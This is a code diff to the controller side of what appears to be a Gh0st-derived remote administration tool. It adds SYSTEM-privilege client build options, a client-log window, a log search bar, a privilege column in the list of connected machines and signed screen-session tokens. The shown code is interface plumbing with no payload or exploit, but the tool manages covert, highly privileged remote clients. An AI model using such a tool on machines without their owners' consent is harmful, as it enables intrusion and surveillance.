targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir);
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir);
|
||||||
m_OtherItem.GetWindowTextA(file);
|
m_OtherItem.GetWindowTextA(file);
|
||||||
@@ -801,6 +819,8 @@ BOOL CBuildDlg::OnInitDialog()
|
|||||||
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
|
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
|
||||||
m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS");
|
m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS");
|
||||||
m_ComboExe.InsertStringL(IndexAndroidGhost, "ghost - Google Android");
|
m_ComboExe.InsertStringL(IndexAndroidGhost, "ghost - Google Android");
|
||||||
|
m_ComboExe.InsertStringL(IndexGhostSystem, "ghost - SYSTEM");
|
||||||
|
m_ComboExe.InsertStringL(IndexTestRunSystem, "TestRun - SYSTEM");
|
||||||
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
|
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
|
||||||
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
|
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
|
||||||
|
|
||||||
|
|||||||
@@ -288,7 +288,7 @@ void CClientListDlg::DisplayClients()
|
|||||||
CString strLevel;
|
CString strLevel;
|
||||||
strLevel.FormatL(_T("%d"), val.Level);
|
strLevel.FormatL(_T("%d"), val.Level);
|
||||||
|
|
||||||
CString strAuth = val.Authorized ? _T("Y") : _T("N");
|
CString strAuth = (val.Authorized == AUTHED_BY_SUPER || val.Authorized == AUTHED_BY_ADMIN)? _T("Y") : _T("N");
|
||||||
|
|
||||||
nItem = m_ClientList.InsertItem(nRow, strNo);
|
nItem = m_ClientList.InsertItem(nRow, strNo);
|
||||||
m_ClientList.SetItemText(nItem, COL_ID, strID);
|
m_ClientList.SetItemText(nItem, COL_ID, strID);
|
||||||
@@ -340,7 +340,7 @@ void CClientListDlg::DisplayClients()
|
|||||||
CString strLevel;
|
CString strLevel;
|
||||||
strLevel.FormatL(_T("%d"), val.Level);
|
strLevel.FormatL(_T("%d"), val.Level);
|
||||||
|
|
||||||
CString strAuth = val.Authorized ? _T("Y") : _T("N");
|
CString strAuth = (val.Authorized == AUTHED_BY_SUPER || val.Authorized == AUTHED_BY_ADMIN) ? _T("Y") : _T("N");
|
||||||
|
|
||||||
nItem = m_ClientList.InsertItem(nRow, strSubNo);
|
nItem = m_ClientList.InsertItem(nRow, strSubNo);
|
||||||
m_ClientList.SetItemText(nItem, COL_ID, strID);
|
m_ClientList.SetItemText(nItem, COL_ID, strID);
|
||||||
|
|||||||
106
server/2015Remote/CClientLog.cpp
Normal file
106
server/2015Remote/CClientLog.cpp
Normal file
@@ -0,0 +1,106 @@
|
|||||||
|
// CClientLog.cpp: 实现文件
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "afxdialogex.h"
|
||||||
|
#include "CClientLog.h"
|
||||||
|
#include "resource.h"
|
||||||
|
#include "../../common/commands.h"
|
||||||
|
|
||||||
|
|
||||||
|
IMPLEMENT_DYNAMIC(CClientLog, CDialogEx)
|
||||||
|
|
||||||
|
CClientLog::CClientLog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext)
|
||||||
|
: CDialogBase(IDD_DIALOG_CLIENT_LOG, pParent, pServer, pContext, 0)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
CClientLog::~CClientLog()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CClientLog::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
CDialogBase::DoDataExchange(pDX);
|
||||||
|
DDX_Control(pDX, IDC_EDIT_LOG, m_editLog);
|
||||||
|
}
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CClientLog, CDialogBase)
|
||||||
|
ON_WM_DESTROY()
|
||||||
|
ON_WM_SIZE()
|
||||||
|
ON_MESSAGE(WM_REPORT_CLIENT_LOG, OnReportLog)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
BOOL CClientLog::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialogBase::OnInitDialog();
|
||||||
|
SetWindowText(_TR("客户端日志") + " - " + m_IPAddress);
|
||||||
|
HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG);
|
||||||
|
SetIcon(hIcon, TRUE);
|
||||||
|
SetIcon(hIcon, FALSE);
|
||||||
|
CFont* pFont = new CFont();
|
||||||
|
pFont->CreatePointFont(85, _T("Consolas"));
|
||||||
|
m_editLog.SetFont(pFont);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CClientLog::OnSize(UINT nType, int cx, int cy)
|
||||||
|
{
|
||||||
|
CDialogBase::OnSize(nType, cx, cy);
|
||||||
|
if (m_editLog.GetSafeHwnd() && cx > 0 && cy > 0)
|
||||||
|
m_editLog.MoveWindow(7, 7, cx - 14, cy - 14);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CClientLog::OnDestroy()
|
||||||
|
{
|
||||||
|
if (m_ContextObject && m_bConnected) {
|
||||||
|
BYTE cmd = COMMAND_BYE;
|
||||||
|
m_ContextObject->Send2Client(&cmd, 1);
|
||||||
|
}
|
||||||
|
CDialogBase::OnDestroy();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CClientLog::AppendLog(const std::string& text)
|
||||||
|
{
|
||||||
|
if (text.empty()) return;
|
||||||
|
// \n → \r\n,Windows 编辑框换行需要 \r\n
|
||||||
|
std::string norm;
|
||||||
|
norm.reserve(text.size() + 64);
|
||||||
|
for (size_t i = 0; i < text.size(); ++i) {
|
||||||
|
if (text[i] == '\n' && (i == 0 || text[i - 1] != '\r'))
|
||||||
|
norm += '\r';
|
||||||
|
norm += text[i];
|
||||||
|
}
|
||||||
|
// 超过 512KB 时截断旧内容
|
||||||
|
int existing = m_editLog.GetWindowTextLength();
|
||||||
|
if (existing > 512 * 1024) {
|
||||||
|
CString cur;
|
||||||
|
m_editLog.GetWindowText(cur);
|
||||||
|
m_editLog.SetWindowText(cur.Mid(cur.GetLength() - 256 * 1024));
|
||||||
|
}
|
||||||
|
// 追加到末尾并滚动
|
||||||
|
CString add = CA2T(norm.c_str(), CP_UTF8);
|
||||||
|
m_editLog.SetSel(-1, -1);
|
||||||
|
m_editLog.ReplaceSel(add);
|
||||||
|
m_editLog.SendMessage(EM_SCROLLCARET);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CClientLog::OnReceiveComplete()
|
||||||
|
{
|
||||||
|
auto& buf = m_ContextObject->InDeCompressedBuffer;
|
||||||
|
if (buf.GetBYTE(0) != TOKEN_REPORT_LOG)
|
||||||
|
return;
|
||||||
|
unsigned len = buf.GetBufferLen();
|
||||||
|
auto* pText = new std::string((char*)(buf.GetBuffer() + 1), len > 1 ? len - 1 : 0);
|
||||||
|
if (!PostMessage(WM_REPORT_CLIENT_LOG, 0, (LPARAM)pText))
|
||||||
|
delete pText;
|
||||||
|
}
|
||||||
|
|
||||||
|
LRESULT CClientLog::OnReportLog(WPARAM /*wParam*/, LPARAM lParam)
|
||||||
|
{
|
||||||
|
std::string* pText = reinterpret_cast<std::string*>(lParam);
|
||||||
|
if (pText) {
|
||||||
|
AppendLog(*pText);
|
||||||
|
delete pText;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
31
server/2015Remote/CClientLog.h
Normal file
31
server/2015Remote/CClientLog.h
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "afxcmn.h"
|
||||||
|
#include "IOCPServer.h"
|
||||||
|
|
||||||
|
class CClientLog : public CDialogBase
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CClientLog)
|
||||||
|
|
||||||
|
public:
|
||||||
|
CClientLog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext);
|
||||||
|
virtual ~CClientLog();
|
||||||
|
|
||||||
|
virtual void OnReceiveComplete();
|
||||||
|
void AppendLog(const std::string& text);
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX);
|
||||||
|
afx_msg void OnDestroy();
|
||||||
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
|
afx_msg LRESULT OnReportLog(WPARAM wParam, LPARAM lParam);
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
|
||||||
|
private:
|
||||||
|
CEdit m_editLog;
|
||||||
|
|
||||||
|
#ifdef AFX_DESIGN_TIME
|
||||||
|
enum { IDD = IDD_DIALOG_CLIENT_LOG };
|
||||||
|
#endif
|
||||||
|
};
|
||||||
229
server/2015Remote/LogSearchBar.cpp
Normal file
229
server/2015Remote/LogSearchBar.cpp
Normal file
@@ -0,0 +1,229 @@
|
|||||||
|
// LogSearchBar.cpp - 日志列表搜索条实现
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "LogSearchBar.h"
|
||||||
|
#include "LangManager.h"
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CLogSearchBar, CWnd)
|
||||||
|
ON_WM_CREATE()
|
||||||
|
ON_WM_SIZE()
|
||||||
|
ON_WM_ERASEBKGND()
|
||||||
|
ON_WM_TIMER()
|
||||||
|
ON_EN_CHANGE(IDC_LOG_SEARCH_EDIT, OnEnChangeSearch)
|
||||||
|
ON_BN_CLICKED(IDC_LOG_SEARCH_PREV, OnBnClickedPrev)
|
||||||
|
ON_BN_CLICKED(IDC_LOG_SEARCH_NEXT, OnBnClickedNext)
|
||||||
|
ON_BN_CLICKED(IDC_LOG_SEARCH_CLEAR, OnBnClickedClear)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
CLogSearchBar::CLogSearchBar()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
CLogSearchBar::~CLogSearchBar()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CLogSearchBar::Create(CWnd* pParent, CListCtrl* pList)
|
||||||
|
{
|
||||||
|
m_pList = pList;
|
||||||
|
LPCTSTR cls = AfxRegisterWndClass(CS_HREDRAW | CS_VREDRAW,
|
||||||
|
::LoadCursor(NULL, IDC_ARROW));
|
||||||
|
return CWnd::Create(cls, _T(""), WS_CHILD | WS_CLIPCHILDREN,
|
||||||
|
CRect(0, 0, 1, 1), pParent, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
int CLogSearchBar::OnCreate(LPCREATESTRUCT lpcs)
|
||||||
|
{
|
||||||
|
if (CWnd::OnCreate(lpcs) == -1) return -1;
|
||||||
|
|
||||||
|
// 搜索输入框
|
||||||
|
m_editSearch.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | ES_AUTOHSCROLL,
|
||||||
|
CRect(0, 0, 1, 1), this, IDC_LOG_SEARCH_EDIT);
|
||||||
|
m_editSearch.SetCueBanner(L"搜索日志...", TRUE);
|
||||||
|
|
||||||
|
// 清除按钮
|
||||||
|
m_btnClear.Create(_T("X"), WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | BS_FLAT,
|
||||||
|
CRect(0, 0, 1, 1), this, IDC_LOG_SEARCH_CLEAR);
|
||||||
|
|
||||||
|
// 上一个 / 下一个按钮(系统样式,与浅色背景融合)
|
||||||
|
m_btnPrev.Create(_T("▲"), WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | BS_FLAT,
|
||||||
|
CRect(0, 0, 1, 1), this, IDC_LOG_SEARCH_PREV);
|
||||||
|
|
||||||
|
m_btnNext.Create(_T("▼"), WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | BS_FLAT,
|
||||||
|
CRect(0, 0, 1, 1), this, IDC_LOG_SEARCH_NEXT);
|
||||||
|
|
||||||
|
// 结果计数
|
||||||
|
m_staticCount.Create(_T(""), WS_CHILD | WS_VISIBLE | SS_CENTER | SS_CENTERIMAGE,
|
||||||
|
CRect(0, 0, 1, 1), this, IDC_LOG_SEARCH_COUNT);
|
||||||
|
|
||||||
|
// 统一字体:跟父窗口(主对话框)保持一致
|
||||||
|
CFont* pFont = GetParent()->GetFont();
|
||||||
|
if (pFont) {
|
||||||
|
m_staticCount.SetFont(pFont);
|
||||||
|
m_editSearch.SetFont(pFont);
|
||||||
|
m_btnClear.SetFont(pFont);
|
||||||
|
m_btnPrev.SetFont(pFont);
|
||||||
|
m_btnNext.SetFont(pFont);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLogSearchBar::LayoutControls(int cx, int cy)
|
||||||
|
{
|
||||||
|
if (!m_editSearch.GetSafeHwnd()) return;
|
||||||
|
const int m = 2;
|
||||||
|
const int h = cy - 2 * m;
|
||||||
|
if (h <= 0) return;
|
||||||
|
const int btnW = h;
|
||||||
|
const int cntW = 62;
|
||||||
|
// 搜索框填满剩余空间(barW 由外部控制总宽,这里保证控件铺满)
|
||||||
|
const int editW = max(20, cx - 2 * m - 3 * btnW - 2 * m - cntW);
|
||||||
|
|
||||||
|
int x = m;
|
||||||
|
m_staticCount.MoveWindow(x, m, cntW, h);
|
||||||
|
x += cntW + m;
|
||||||
|
m_editSearch.MoveWindow(x, m, editW, h);
|
||||||
|
x += editW + m;
|
||||||
|
m_btnClear.MoveWindow(x, m, btnW, h);
|
||||||
|
x += btnW;
|
||||||
|
m_btnPrev.MoveWindow(x, m, btnW, h);
|
||||||
|
x += btnW;
|
||||||
|
m_btnNext.MoveWindow(x, m, btnW, h);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLogSearchBar::OnSize(UINT nType, int cx, int cy)
|
||||||
|
{
|
||||||
|
CWnd::OnSize(nType, cx, cy);
|
||||||
|
LayoutControls(cx, cy);
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL CLogSearchBar::OnEraseBkgnd(CDC* pDC)
|
||||||
|
{
|
||||||
|
CRect rc;
|
||||||
|
GetClientRect(&rc);
|
||||||
|
pDC->FillSolidRect(rc, ::GetSysColor(COLOR_3DFACE));
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLogSearchBar::OnEnChangeSearch()
|
||||||
|
{
|
||||||
|
KillTimer(TIMER_SEARCH);
|
||||||
|
SetTimer(TIMER_SEARCH, SEARCH_DELAY_MS, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLogSearchBar::OnTimer(UINT_PTR nIDEvent)
|
||||||
|
{
|
||||||
|
if (nIDEvent == TIMER_SEARCH) {
|
||||||
|
KillTimer(TIMER_SEARCH);
|
||||||
|
DoSearch();
|
||||||
|
}
|
||||||
|
CWnd::OnTimer(nIDEvent);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLogSearchBar::DoSearch()
|
||||||
|
{
|
||||||
|
if (!m_pList || !m_pList->GetSafeHwnd()) return;
|
||||||
|
|
||||||
|
CString kw;
|
||||||
|
m_editSearch.GetWindowText(kw);
|
||||||
|
|
||||||
|
m_Results.clear();
|
||||||
|
m_nCurrentIndex = -1;
|
||||||
|
|
||||||
|
if (kw.IsEmpty()) {
|
||||||
|
UpdateCountText();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
CString kwLow = kw;
|
||||||
|
kwLow.MakeLower();
|
||||||
|
|
||||||
|
int nCols = m_pList->GetHeaderCtrl() ? m_pList->GetHeaderCtrl()->GetItemCount() : 1;
|
||||||
|
int nItems = m_pList->GetItemCount();
|
||||||
|
|
||||||
|
for (int i = 0; i < nItems; i++) {
|
||||||
|
for (int c = 0; c < nCols; c++) {
|
||||||
|
CString cell = m_pList->GetItemText(i, c);
|
||||||
|
cell.MakeLower();
|
||||||
|
if (cell.Find(kwLow) >= 0) {
|
||||||
|
m_Results.push_back(i);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!m_Results.empty()) {
|
||||||
|
m_nCurrentIndex = 0;
|
||||||
|
GotoMatch(m_nCurrentIndex);
|
||||||
|
}
|
||||||
|
UpdateCountText();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLogSearchBar::GotoMatch(int idx)
|
||||||
|
{
|
||||||
|
if (!m_pList || idx < 0 || idx >= (int)m_Results.size()) return;
|
||||||
|
int item = m_Results[idx];
|
||||||
|
|
||||||
|
// 取消所有选中
|
||||||
|
int n = -1;
|
||||||
|
while ((n = m_pList->GetNextItem(-1, LVNI_SELECTED)) != -1)
|
||||||
|
m_pList->SetItemState(n, 0, LVIS_SELECTED | LVIS_FOCUSED);
|
||||||
|
|
||||||
|
m_pList->SetItemState(item, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);
|
||||||
|
m_pList->EnsureVisible(item, FALSE);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLogSearchBar::UpdateCountText()
|
||||||
|
{
|
||||||
|
CString text;
|
||||||
|
if (m_Results.empty()) {
|
||||||
|
CString kw;
|
||||||
|
m_editSearch.GetWindowText(kw);
|
||||||
|
text = kw.IsEmpty() ? _TR("") : _TR("无结果");
|
||||||
|
} else {
|
||||||
|
text.Format(_T("%d/%d"), m_nCurrentIndex + 1, (int)m_Results.size());
|
||||||
|
}
|
||||||
|
m_staticCount.SetWindowText(text);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLogSearchBar::InvalidateSearch()
|
||||||
|
{
|
||||||
|
KillTimer(TIMER_SEARCH);
|
||||||
|
m_Results.clear();
|
||||||
|
m_nCurrentIndex = -1;
|
||||||
|
UpdateCountText();
|
||||||
|
|
||||||
|
if (m_editSearch.GetSafeHwnd()) {
|
||||||
|
CString kw;
|
||||||
|
m_editSearch.GetWindowText(kw);
|
||||||
|
if (!kw.IsEmpty())
|
||||||
|
SetTimer(TIMER_SEARCH, SEARCH_DELAY_MS, NULL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLogSearchBar::OnBnClickedPrev()
|
||||||
|
{
|
||||||
|
if (m_Results.empty()) return;
|
||||||
|
m_nCurrentIndex--;
|
||||||
|
if (m_nCurrentIndex < 0)
|
||||||
|
m_nCurrentIndex = (int)m_Results.size() - 1;
|
||||||
|
GotoMatch(m_nCurrentIndex);
|
||||||
|
UpdateCountText();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLogSearchBar::OnBnClickedNext()
|
||||||
|
{
|
||||||
|
if (m_Results.empty()) return;
|
||||||
|
m_nCurrentIndex++;
|
||||||
|
if (m_nCurrentIndex >= (int)m_Results.size())
|
||||||
|
m_nCurrentIndex = 0;
|
||||||
|
GotoMatch(m_nCurrentIndex);
|
||||||
|
UpdateCountText();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CLogSearchBar::OnBnClickedClear()
|
||||||
|
{
|
||||||
|
m_editSearch.SetWindowText(_T(""));
|
||||||
|
m_editSearch.SetFocus();
|
||||||
|
// 触发 EN_CHANGE → 定时器 → DoSearch 清空结果
|
||||||
|
}
|
||||||
57
server/2015Remote/LogSearchBar.h
Normal file
57
server/2015Remote/LogSearchBar.h
Normal file
@@ -0,0 +1,57 @@
|
|||||||
|
// LogSearchBar.h - 日志列表搜索条(嵌入式,固定在右侧)
|
||||||
|
#pragma once
|
||||||
|
#include <afxwin.h>
|
||||||
|
#include <afxcmn.h>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
#define IDC_LOG_SEARCH_EDIT 5001
|
||||||
|
#define IDC_LOG_SEARCH_PREV 5002
|
||||||
|
#define IDC_LOG_SEARCH_NEXT 5003
|
||||||
|
#define IDC_LOG_SEARCH_COUNT 5004
|
||||||
|
#define IDC_LOG_SEARCH_CLEAR 5005
|
||||||
|
|
||||||
|
class CLogSearchBar : public CWnd
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CLogSearchBar();
|
||||||
|
virtual ~CLogSearchBar();
|
||||||
|
|
||||||
|
// pParent: 主对话框; pList: 要搜索的 CListCtrl(m_CList_Message)
|
||||||
|
BOOL Create(CWnd* pParent, CListCtrl* pList);
|
||||||
|
void InvalidateSearch();
|
||||||
|
|
||||||
|
// 当前命中行的列表索引,无命中返回 -1(纯内存读)
|
||||||
|
int GetHighlightedRow() const {
|
||||||
|
if (m_nCurrentIndex < 0 || m_nCurrentIndex >= (int)m_Results.size()) return -1;
|
||||||
|
return m_Results[m_nCurrentIndex];
|
||||||
|
}
|
||||||
|
|
||||||
|
protected:
|
||||||
|
CListCtrl* m_pList = nullptr;
|
||||||
|
CEdit m_editSearch;
|
||||||
|
CButton m_btnPrev;
|
||||||
|
CButton m_btnNext;
|
||||||
|
CButton m_btnClear;
|
||||||
|
CStatic m_staticCount;
|
||||||
|
|
||||||
|
std::vector<int> m_Results; // 匹配行索引
|
||||||
|
int m_nCurrentIndex = -1;
|
||||||
|
|
||||||
|
void DoSearch();
|
||||||
|
void GotoMatch(int idx);
|
||||||
|
void UpdateCountText();
|
||||||
|
void LayoutControls(int cx, int cy);
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
afx_msg int OnCreate(LPCREATESTRUCT lpcs);
|
||||||
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
|
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
||||||
|
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||||
|
afx_msg void OnEnChangeSearch();
|
||||||
|
afx_msg void OnBnClickedPrev();
|
||||||
|
afx_msg void OnBnClickedNext();
|
||||||
|
afx_msg void OnBnClickedClear();
|
||||||
|
|
||||||
|
static const UINT TIMER_SEARCH = 1;
|
||||||
|
static const UINT SEARCH_DELAY_MS = 400;
|
||||||
|
};
|
||||||
@@ -96,17 +96,18 @@ struct NotifyConfig {
|
|||||||
inline const char* GetColumnName(int index) {
|
inline const char* GetColumnName(int index) {
|
||||||
static const char* names[] = {
|
static const char* names[] = {
|
||||||
"IP", // 0
|
"IP", // 0
|
||||||
"Address", // 1
|
"Address", // 1
|
||||||
"Location", // 2
|
"Location", // 2
|
||||||
"ComputerName", // 3
|
"ComputerName", // 3
|
||||||
"OS", // 4
|
"OS", // 4
|
||||||
"CPU", // 5
|
"CPU", // 5
|
||||||
"Camera", // 6
|
"Camera", // 6
|
||||||
"RTT", // 7
|
"RTT", // 7
|
||||||
"Version", // 8
|
"Version", // 8
|
||||||
"InstallTime", // 9
|
"Privilege", // 9 ONLINELIST_PRIVILEGE
|
||||||
"ActiveWindow", // 10
|
"InstallTime", // 10 ONLINELIST_INSTALLTIME
|
||||||
"ClientType", // 11
|
"ActiveWindow", // 11 ONLINELIST_LOGINTIME
|
||||||
|
"ClientType", // 12 ONLINELIST_CLIENTTYPE
|
||||||
};
|
};
|
||||||
if (index >= 0 && index < sizeof(names)/sizeof(names[0])) {
|
if (index >= 0 && index < sizeof(names)/sizeof(names[0])) {
|
||||||
return names[index];
|
return names[index];
|
||||||
|
|||||||
@@ -102,18 +102,19 @@ void NotifySettingsDlg::PopulateComboBoxes()
|
|||||||
// Column combo - use translatable strings
|
// Column combo - use translatable strings
|
||||||
m_comboNotifyColumn.ResetContent();
|
m_comboNotifyColumn.ResetContent();
|
||||||
struct { int id; const TCHAR* name; } columns[] = {
|
struct { int id; const TCHAR* name; } columns[] = {
|
||||||
{ 0, _T("IP地址") },
|
{ ONLINELIST_IP, _T("IP地址") },
|
||||||
{ 1, _T("地址") },
|
{ ONLINELIST_ADDR, _T("地址") },
|
||||||
{ 2, _T("地理位置") },
|
{ ONLINELIST_LOCATION, _T("地理位置") },
|
||||||
{ 3, _T("计算机名") },
|
{ ONLINELIST_COMPUTER_NAME,_T("计算机名") },
|
||||||
{ 4, _T("操作系统") },
|
{ ONLINELIST_OS, _T("操作系统") },
|
||||||
{ 5, _T("CPU") },
|
{ ONLINELIST_CPU, _T("CPU") },
|
||||||
{ 6, _T("摄像头") },
|
{ ONLINELIST_VIDEO, _T("摄像头") },
|
||||||
{ 7, _T("延迟") },
|
{ ONLINELIST_PING, _T("延迟") },
|
||||||
{ 8, _T("版本") },
|
{ ONLINELIST_VERSION, _T("版本") },
|
||||||
{ 9, _T("安装时间") },
|
{ ONLINELIST_PRIVILEGE, _T("权限") },
|
||||||
{ 10, _T("活动窗口") },
|
{ ONLINELIST_INSTALLTIME, _T("安装时间") },
|
||||||
{ 11, _T("客户端类型") },
|
{ ONLINELIST_LOGINTIME, _T("活动窗口") },
|
||||||
|
{ ONLINELIST_CLIENTTYPE, _T("客户端类型") },
|
||||||
};
|
};
|
||||||
for (const auto& col : columns) {
|
for (const auto& col : columns) {
|
||||||
CString item;
|
CString item;
|
||||||
|
|||||||
@@ -754,7 +754,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
SysMenu->CheckMenuItem(IDM_REMOTE_CURSOR, m_Settings.RemoteCursor ? MF_CHECKED : MF_UNCHECKED);
|
SysMenu->CheckMenuItem(IDM_REMOTE_CURSOR, m_Settings.RemoteCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||||
SysMenu->CheckMenuItem(IDM_ENABLE_SSE2, m_Settings.CpuSpeedup == 1 ? MF_CHECKED : MF_UNCHECKED);
|
SysMenu->CheckMenuItem(IDM_ENABLE_SSE2, m_Settings.CpuSpeedup == 1 ? MF_CHECKED : MF_UNCHECKED);
|
||||||
SysMenu->CheckMenuItem(IDM_FAST_STRETCH, GetFastStretchMode() ? MF_CHECKED : MF_UNCHECKED);
|
SysMenu->CheckMenuItem(IDM_FAST_STRETCH, GetFastStretchMode() ? MF_CHECKED : MF_UNCHECKED);
|
||||||
SysMenu->CheckMenuItem(IDM_CUSTOM_CURSOR, m_bUseCustomCursor ? MF_CHECKED : MF_UNCHECKED);
|
SysMenu->CheckMenuItem(IDM_CUSTOM_CURSOR, m_Settings.CustomCursor ? MF_CHECKED : MF_UNCHECKED);
|
||||||
|
|
||||||
CMenu fpsMenu;
|
CMenu fpsMenu;
|
||||||
if (fpsMenu.CreatePopupMenu()) {
|
if (fpsMenu.CreatePopupMenu()) {
|
||||||
@@ -919,6 +919,15 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
m_ContextObject->Send2Client(sizeCmd, 10);
|
m_ContextObject->Send2Client(sizeCmd, 10);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
std::string signMessage(const std::string& privateKey, BYTE* msg, int len);
|
||||||
|
BYTE bToken[1 + sizeof(SignatureResp)] = { COMMAND_SCREEN_SIGNATURE };
|
||||||
|
std::string msg = ToPekingTimeAsString(0);
|
||||||
|
auto signature = signMessage("", (BYTE*)msg.c_str(), msg.length());
|
||||||
|
SignatureResp resp = { 0 };
|
||||||
|
memcpy(resp.msg, msg.data(), msg.size());
|
||||||
|
memcpy(resp.signature, signature.data(), signature.size());
|
||||||
|
memcpy(bToken + 1, &resp, sizeof(SignatureResp));
|
||||||
|
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||||
|
|
||||||
SendNext();
|
SendNext();
|
||||||
|
|
||||||
@@ -1359,7 +1368,7 @@ VOID CScreenSpyDlg::OnReceiveComplete()
|
|||||||
m_dwCustomCursorHash = hash;
|
m_dwCustomCursorHash = hash;
|
||||||
|
|
||||||
// 如果当前正在使用自定义光标,立即更新显示
|
// 如果当前正在使用自定义光标,立即更新显示
|
||||||
if (m_bCursorIndex == 254 && m_bIsCtrl && m_bUseCustomCursor) {
|
if (m_bCursorIndex == 254 && m_bIsCtrl && m_Settings.CustomCursor) {
|
||||||
if (m_Settings.RemoteCursor) {
|
if (m_Settings.RemoteCursor) {
|
||||||
// RemoteCursor 模式:触发重绘以显示新光标
|
// RemoteCursor 模式:触发重绘以显示新光标
|
||||||
Invalidate(FALSE);
|
Invalidate(FALSE);
|
||||||
@@ -1439,7 +1448,7 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
|
|||||||
if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构
|
if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构
|
||||||
HCURSOR cursor;
|
HCURSOR cursor;
|
||||||
if (m_bCursorIndex == 254) { // -2: 使用自定义光标
|
if (m_bCursorIndex == 254) { // -2: 使用自定义光标
|
||||||
cursor = (m_bUseCustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
|
cursor = (m_Settings.CustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
|
||||||
} else if (m_bCursorIndex == 255) { // -1: 不支持,回退到箭头
|
} else if (m_bCursorIndex == 255) { // -1: 不支持,回退到箭头
|
||||||
cursor = LoadCursor(NULL, IDC_ARROW);
|
cursor = LoadCursor(NULL, IDC_ARROW);
|
||||||
} else {
|
} else {
|
||||||
@@ -1903,7 +1912,7 @@ void CScreenSpyDlg::OnPaint()
|
|||||||
// 2. 获取光标句柄(支持自定义光标)
|
// 2. 获取光标句柄(支持自定义光标)
|
||||||
HCURSOR hCursor;
|
HCURSOR hCursor;
|
||||||
if (m_bCursorIndex == 254) { // -2: 使用自定义光标
|
if (m_bCursorIndex == 254) { // -2: 使用自定义光标
|
||||||
hCursor = (m_bUseCustomCursor && m_hCustomCursor) ? m_hCustomCursor : LoadCursor(NULL, IDC_ARROW);
|
